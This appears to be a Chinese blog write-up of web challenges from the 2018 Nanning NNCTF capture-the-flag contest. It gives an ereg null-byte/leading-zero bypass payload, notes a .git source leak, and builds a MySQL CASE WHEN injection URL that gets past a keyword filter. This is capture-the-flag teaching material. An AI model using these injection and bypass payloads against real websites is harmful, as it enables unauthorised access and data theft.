2018~第三届南宁市网络安全技术大赛~nnctf~write-up

版权声明:作者:TC125 若无特殊说明,所发博文皆为原创,转载请务必注明出处、保留原文地址。欢迎交流分享! https://blog.csdn.net/TC125/article/details/85194360

Web

1.超简单

分值:100 类型:WEB 已解决

题目:超简单的web题  http://gxnnctf.gxsosec.cn:12311/

代码审计

<?php
$white_list = range(0,9);
require_once('flag.php');
if(isset($_REQUEST['no'])){           //非空
    $a=$_REQUEST['no'];
    if(@ereg("^[0-9]+$", $a) === FALSE){   //必须为数字
        echo 'no must be number';
    }else{
        if(in_array($a,$white_list)){      //数字必须在$white_list白名单里
            if(strlen($a)>1){               //但是if(strlen($a))长度必须>1
                echo 'you are a great dark phper<br>';
                echo "<img src='dark.gif'><br>";
                echo $flag;
            }else{
                echo 'you no dark';
            }
        }else{
            echo 'you are so dark';
        }
    }    
}else
    highlight_file(__FILE__); 

构造payload的两种方法:

?no=0000
?no=0%00   //erge()函数 %00截断

2.帽子商城

分值:200 类型:WEB 未解决

题目:有帽子你就能变强,去这买几顶帽子吧 http://gxnnctf.gxsosec.cn:12313

3.Sql???

分值:200 类型:WEB 已解决

题目:小明想当一名黑客,于是学习写网站,但他遇到点问题,帮帮他吧 http://gxnnctf.gxsosec.cn:12312/

按照一般思路测试id,  200OK

看到这些首先想到测试ID,是否存在注入,试了各种姿势未果,发现大部分关键字都被过滤,联合注入、盲注都走不通,于是想到可能存在其它辅助漏洞,用御剑扫描工具进行扫描发现http://gxnnctf.gxsosec.cn:12312/网站目录/.git/存在git泄漏,直接利用git恢复工具恢复文件,到这里希望就很大了,仿佛找到了sql大门,当初没有直接想到先扫描一下网站,导致浪费了很多时间 (T_T)

https://github.com/style-404/Git_Extract      //git恢复工具

/.git/文件恢复

对index.php进行代码审计

审计发现几乎所有的关键字都被过滤了,但是case when关键字没有被过滤,利用MySQL的case when的特性进行绕过,判断变量是否为空,若为空赋值为2,不为空的话查询结果为1。第一次查询返回2,第二次查询返回1。

case when测试:

条件满足:

1. 参数id在里面进行两次sql查询,第一次需要id=2、第二次需要id=1

2. 参数backdoor=Melonrind

构造payload

http://gxnnctf.gxsosec.cn:12312/?id=case%20when%20@nnctf%20is%20null%20then%20@nnctf:=2%20else%20@nnctf:=@nnctf-1%20end&backdoor=Melonrind

猜你喜欢

转载自blog.csdn.net/TC125/article/details/85194360